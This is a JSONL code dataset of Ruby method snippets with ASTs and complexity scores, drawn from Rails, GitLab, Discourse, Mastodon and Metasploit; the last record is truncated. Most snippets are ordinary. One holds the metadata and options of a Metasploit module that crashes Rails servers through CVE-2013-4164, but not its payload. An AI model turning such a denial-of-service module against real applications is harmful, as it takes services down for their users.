{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/renderer/partial_renderer.rb","start_line":246,"raw_source":"def render(partial, context, block)\n      template = find_template(partial, template_keys(partial))\n\n      if !block && (layout = @options[:layout])\n        layout = find_template(layout.to_s, template_keys(partial))\n      end\n\n      render_partial_template(context, @locals, template, layout, block)\n    end","complexity_score":14.3,"ast_json":"{\"type\":\"def\",\"children\":[\"render\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"partial\"]},{\"type\":\"arg\",\"children\":[\"context\"]},{\"type\":\"arg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"template\",{\"type\":\"send\",\"children\":[null,\"find_template\",{\"type\":\"lvar\",\"children\":[\"partial\"]},{\"type\":\"send\",\"children\":[null,\"template_keys\",{\"type\":\"lvar\",\"children\":[\"partial\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"layout\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"layout\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"layout\",{\"type\":\"send\",\"children\":[null,\"find_template\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"layout\"]},\"to_s\"]},{\"type\":\"send\",\"children\":[null,\"template_keys\",{\"type\":\"lvar\",\"children\":[\"partial\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"render_partial_template\",{\"type\":\"lvar\",\"children\":[\"context\"]},{\"type\":\"ivar\",\"children\":[\"@locals\"]},{\"type\":\"lvar\",\"children\":[\"template\"]},{\"type\":\"lvar\",\"children\":[\"layout\"]},{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"5e883988-75be-4207-b1ff-040dd2e598ff"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/admin/ip_blocks_controller.rb","start_line":55,"raw_source":"def form_ip_block_batch_params\n      params\n        .expect(form_ip_block_batch: [ip_block_ids: []])\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"form_ip_block_batch_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"expect\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"form_ip_block_batch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ip_block_ids\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]}]}","id":"811e8fbd-95dc-4295-8e28-7f4486f0f796"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/seeders/ci/daily_build_group_report_result.rb","start_line":15,"raw_source":"def seed\n          COUNT_OF_DAYS.times do |count|\n            date = Time.now.utc - count.day\n            create_report(date)\n          end\n        end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"seed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COUNT_OF_DAYS\"]},\"times\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"count\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"date\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"count\"]},\"day\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_report\",{\"type\":\"lvar\",\"children\":[\"date\"]}]}]}]}]}","id":"96ac85a5-23d2-4dbe-b135-b53bed2aaaa6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/dos/http/rails_json_float_dos.rb","start_line":10,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Ruby on Rails JSON Processor Floating Point Heap Overflow DoS',\n        'Description' => %q{\n          When Ruby attempts to convert a string representation of a large floating point\n          decimal number to its floating point equivalent, a heap-based buffer overflow\n          can be triggered. This module has been tested successfully on a Ruby on Rails application\n          using Ruby version 1.9.3-p448 with WebRick and Thin web servers, where the Rails application\n          crashes with a segfault error. Other versions of Ruby are reported to be affected.\n        },\n        'Author' => [\n          'Charlie Somerville', # original discoverer\n          'joev', # bash PoC\n          'todb', # Metasploit module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2013-4164' ],\n          [ 'OSVDB', '100113' ],\n          [ 'URL', 'https://www.ruby-lang.org/en/news/2013/11/22/ruby-1-9-3-p484-is-released/' ]\n        ],\n        'DisclosureDate' => '2013-11-22',\n        'Notes' => {\n          'Stability' => [CRASH_SERVICE_DOWN],\n          'SideEffects' => [],\n          'Reliability' => []\n        }\n      )\n    )\n    register_options(\n      [\n        OptString.new('TARGETURI', [false, 'The URL of the vulnerable Rails application', '/']),\n        OptString.new('HTTPVERB', [false, 'The HTTP verb to use', 'POST'])\n      ]\n    )\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Ruby on Rails JSON Processor Floating Point Heap Overflow DoS\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          When Ruby attempts to convert a string representation of a large floating point\\n\"]},{\"type\":\"str\",\"children\":[\"          decimal number to its floating point equivalent, a heap-based buffer overflow\\n\"]},{\"type\":\"str\",\"children\":[\"          can be triggered. This module has been tested successfully on a Ruby on Rails application\\n\"]},{\"type\":\"str\",\"children\":[\"          using Ruby version 1.9.3-p448 with WebRick and Thin web servers, where the Rails application\\n\"]},{\"type\":\"str\",\"children\":[\"          crashes with a segfault error. Other versions of Ruby are reported to be affected.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Charlie Somerville\"]},{\"type\":\"str\",\"children\":[\"joev\"]},{\"type\":\"str\",\"children\":[\"todb\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2013-4164\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"100113\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.ruby-lang.org/en/news/2013/11/22/ruby-1-9-3-p484-is-released/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2013-11-22\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SERVICE_DOWN\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The URL of the vulnerable Rails application\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"HTTPVERB\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The HTTP verb to use\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]}]}]}]}]}]}","id":"3a3b770c-103f-48bc-8955-55a96220db13"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/release_highlights/validator.rb","start_line":24,"raw_source":"def self.validate_all!\n      @all_errors = []\n\n      ReleaseHighlight.file_paths.each do |file_path|\n        instance = self.new(file: file_path)\n\n        @all_errors.push([instance.errors, instance.file]) unless instance.valid?\n      end\n\n      @all_errors.none?\n    end","complexity_score":14.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"validate_all!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@all_errors\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ReleaseHighlight\"]},\"file_paths\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"instance\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file\"]},{\"type\":\"lvar\",\"children\":[\"file_path\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance\"]},\"valid?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@all_errors\"]},\"push\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance\"]},\"errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance\"]},\"file\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@all_errors\"]},\"none?\"]}]}]}","id":"da0e6f98-4f20-45f7-9334-8a55db2b2d11"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/insert_all_test.rb","start_line":888,"raw_source":"def test_upsert_all_updates_using_provided_sql_and_unique_by\n    skip unless supports_insert_on_duplicate_update? && supports_insert_conflict_target?\n\n    book = books(:rfr)\n    assert_equal \"proposed\", book.status\n\n    Book.upsert_all(\n      [{ name: book.name, author_id: book.author_id }],\n      unique_by: [:name, :author_id],\n      on_duplicate: Arel.sql(\"status = 2\")\n    )\n    assert_equal \"published\", book.reload.status\n  end","complexity_score":17.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_upsert_all_updates_using_provided_sql_and_unique_by\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"supports_insert_on_duplicate_update?\"]},{\"type\":\"send\",\"children\":[null,\"supports_insert_conflict_target?\"]}]},null,{\"type\":\"send\",\"children\":[null,\"skip\"]}]},{\"type\":\"lvasgn\",\"children\":[\"book\",{\"type\":\"send\",\"children\":[null,\"books\",{\"type\":\"sym\",\"children\":[\"rfr\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"proposed\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"book\"]},\"status\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Book\"]},\"upsert_all\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"book\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"book\"]},\"author_id\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique_by\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"author_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_duplicate\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"sql\",{\"type\":\"str\",\"children\":[\"status = 2\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"published\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"book\"]},\"reload\"]},\"status\"]}]}]}]}","id":"1c5d94ab-b04b-4a4a-94b9-29e62e66679c"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/definitions/lib/validation/test_validator.rb","start_line":49,"raw_source":"def validate_options!(opts)\n        if opts\n          opts = [ opts ] unless opts.is_a?(Array)\n          opts.each do |opt|\n            err!(\"Test contains invalid option(s)\") unless opt == \"informal\" || opt == \"observed\"\n          end\n        end\n      end","complexity_score":13.9,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_options!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},null,{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opt\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},\"==\",{\"type\":\"str\",\"children\":[\"informal\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},\"==\",{\"type\":\"str\",\"children\":[\"observed\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"err!\",{\"type\":\"str\",\"children\":[\"Test contains invalid option(s)\"]}]}]}]}]},null]}]}","id":"93925d0d-b8f3-48fa-b866-c2bc5af8644a"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/backup_restore/backup_file_handler.rb","start_line":149,"raw_source":"def tar_implementation\n      @tar_version ||=\n        begin\n          tar_version = Discourse::Utils.execute_command(\"tar\", \"--version\")\n\n          if tar_version.include?(\"GNU tar\")\n            :gnu\n          elsif tar_version.include?(\"bsdtar\")\n            :bsd\n          else\n            raise \"Unknown tar implementation: #{tar_version}\"\n          end\n        end\n    end","complexity_score":9.1,"ast_json":"{\"type\":\"def\",\"children\":[\"tar_implementation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@tar_version\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tar_version\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"Utils\"]},\"execute_command\",{\"type\":\"str\",\"children\":[\"tar\"]},{\"type\":\"str\",\"children\":[\"--version\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tar_version\"]},\"include?\",{\"type\":\"str\",\"children\":[\"GNU tar\"]}]},{\"type\":\"sym\",\"children\":[\"gnu\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tar_version\"]},\"include?\",{\"type\":\"str\",\"children\":[\"bsdtar\"]}]},{\"type\":\"sym\",\"children\":[\"bsd\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unknown tar implementation: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tar_version\"]}]}]}]}]}]}]}]}]}","id":"43017c63-3dc2-4b44-8b6c-fb475b9d19cc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/mailers/notify.rb","start_line":159,"raw_source":"def reply_display_name(model)\n    return model.namespace.full_name if model.is_a?(Issue)\n\n    @project.full_name\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"reply_display_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Issue\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"namespace\"]},\"full_name\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"full_name\"]}]}]}","id":"4b30df09-0fa1-4a2f-9e50-d6f4e300a981"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/connection_adapters/merge_and_resolve_default_url_config_test.rb","start_line":144,"raw_source":"def test_http_url\n        config   = { \"production\" => { \"adapter\" => \"abstract\", \"url\" => \"http://example.com/path\" } }\n        actual   = resolve_config(config, \"production\")\n        assert_equal config[\"production\"].symbolize_keys, actual\n      end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_http_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"production\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"adapter\"]},{\"type\":\"str\",\"children\":[\"abstract\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"url\"]},{\"type\":\"str\",\"children\":[\"http://example.com/path\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"actual\",{\"type\":\"send\",\"children\":[null,\"resolve_config\",{\"type\":\"lvar\",\"children\":[\"config\"]},{\"type\":\"str\",\"children\":[\"production\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"production\"]}]},\"symbolize_keys\"]},{\"type\":\"lvar\",\"children\":[\"actual\"]}]}]}]}","id":"77ee5bbb-8697-4965-8ee3-4538fb59c820"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/hash_ext_test.rb","start_line":460,"raw_source":"def test_to_param_orders_by_key_in_ascending_order\n    assert_equal \"a=2&b=1&c=0\", Hash[*%w(b 1 c 0 a 2)].to_param\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_to_param_orders_by_key_in_ascending_order\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"a=2&b=1&c=0\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"[]\",{\"type\":\"splat\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"b\"]},{\"type\":\"str\",\"children\":[\"1\"]},{\"type\":\"str\",\"children\":[\"c\"]},{\"type\":\"str\",\"children\":[\"0\"]},{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"str\",\"children\":[\"2\"]}]}]}]},\"to_param\"]}]}]}","id":"0d03ccc3-b5ef-4d08-a983-46cec0a23a3c"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/nested_attributes_test.rb","start_line":708,"raw_source":"def test_should_refresh_saved_records_when_not_overwriting_unsaved_updates\n    @pirate.reload\n    record = @pirate.class.reflect_on_association(@association_name).klass.new(name: \"Grace OMalley\")\n    @pirate.public_send(@association_name) << record\n    record.save!\n    @pirate.public_send(@association_name).last.update!(name: \"Polly\")\n    assert_equal \"Polly\", @pirate.public_send(@association_name).load_target.last.name\n  end","complexity_score":21.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_refresh_saved_records_when_not_overwriting_unsaved_updates\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pirate\"]},\"reload\"]},{\"type\":\"lvasgn\",\"children\":[\"record\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pirate\"]},\"class\"]},\"reflect_on_association\",{\"type\":\"ivar\",\"children\":[\"@association_name\"]}]},\"klass\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Grace OMalley\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pirate\"]},\"public_send\",{\"type\":\"ivar\",\"children\":[\"@association_name\"]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"record\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"save!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pirate\"]},\"public_send\",{\"type\":\"ivar\",\"children\":[\"@association_name\"]}]},\"last\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Polly\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Polly\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pirate\"]},\"public_send\",{\"type\":\"ivar\",\"children\":[\"@association_name\"]}]},\"load_target\"]},\"last\"]},\"name\"]}]}]}]}","id":"4cec7ed8-8d50-4b18-b2f5-1a1286a8fbdc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/cloud_seed/google_cloud/create_service_accounts_service.rb","start_line":31,"raw_source":"def service_account_name\n        \"GitLab :: #{project.name} :: #{environment_name}\"\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"service_account_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"GitLab :: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" :: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"environment_name\"]}]}]}]}","id":"8ef4331a-6b86-44e9-aba2-0e3fb1eee9f6"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-login-with-amazon/lib/validators/enable_login_with_amazon_validator.rb","start_line":19,"raw_source":"def error_message\n    if SiteSetting.login_with_amazon_client_id.blank?\n      I18n.t(\"site_settings.errors.login_with_amazon_client_id_is_blank\")\n    elsif SiteSetting.login_with_amazon_client_secret.blank?\n      I18n.t(\"site_settings.errors.login_with_amazon_client_secret_is_blank\")\n    end\n  end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"error_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"login_with_amazon_client_id\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"site_settings.errors.login_with_amazon_client_id_is_blank\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"login_with_amazon_client_secret\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"site_settings.errors.login_with_amazon_client_secret_is_blank\"]}]},null]}]}]}","id":"d962a578-41f9-4e23-8621-d64871dc8b08"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http/kubernetes/auth_parser.rb","start_line":138,"raw_source":"def as_simple_rule(policy_rule)\n    return nil if policy_rule[:resourceNames].count > 1 || policy_rule[:nonResourceURLs].count > 0\n    return nil if policy_rule[:apiGroups].count != 1 || policy_rule[:resources].count != 1\n\n    allowed_keys = %i[apiGroups resources verbs resourceNames nonResourceURLs]\n    unsupported_keys = policy_rule.keys - allowed_keys\n    return nil if unsupported_keys.any?\n\n    simple_rule = {\n      group: policy_rule[:apiGroups][0],\n      resource: policy_rule[:resources][0]\n    }\n\n    if policy_rule[:resourceNames].any?\n      simple_rule.merge(\n        {\n          resourceName: policy_rule[:resourceNames][0]\n        }\n      )\n    end\n\n    simple_rule\n  end","complexity_score":39.28,"ast_json":"{\"type\":\"def\",\"children\":[\"as_simple_rule\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"policy_rule\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy_rule\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"resourceNames\"]}]},\"count\"]},\">\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy_rule\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"nonResourceURLs\"]}]},\"count\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy_rule\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"apiGroups\"]}]},\"count\"]},\"!=\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy_rule\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"resources\"]}]},\"count\"]},\"!=\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"allowed_keys\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"apiGroups\"]},{\"type\":\"sym\",\"children\":[\"resources\"]},{\"type\":\"sym\",\"children\":[\"verbs\"]},{\"type\":\"sym\",\"children\":[\"resourceNames\"]},{\"type\":\"sym\",\"children\":[\"nonResourceURLs\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\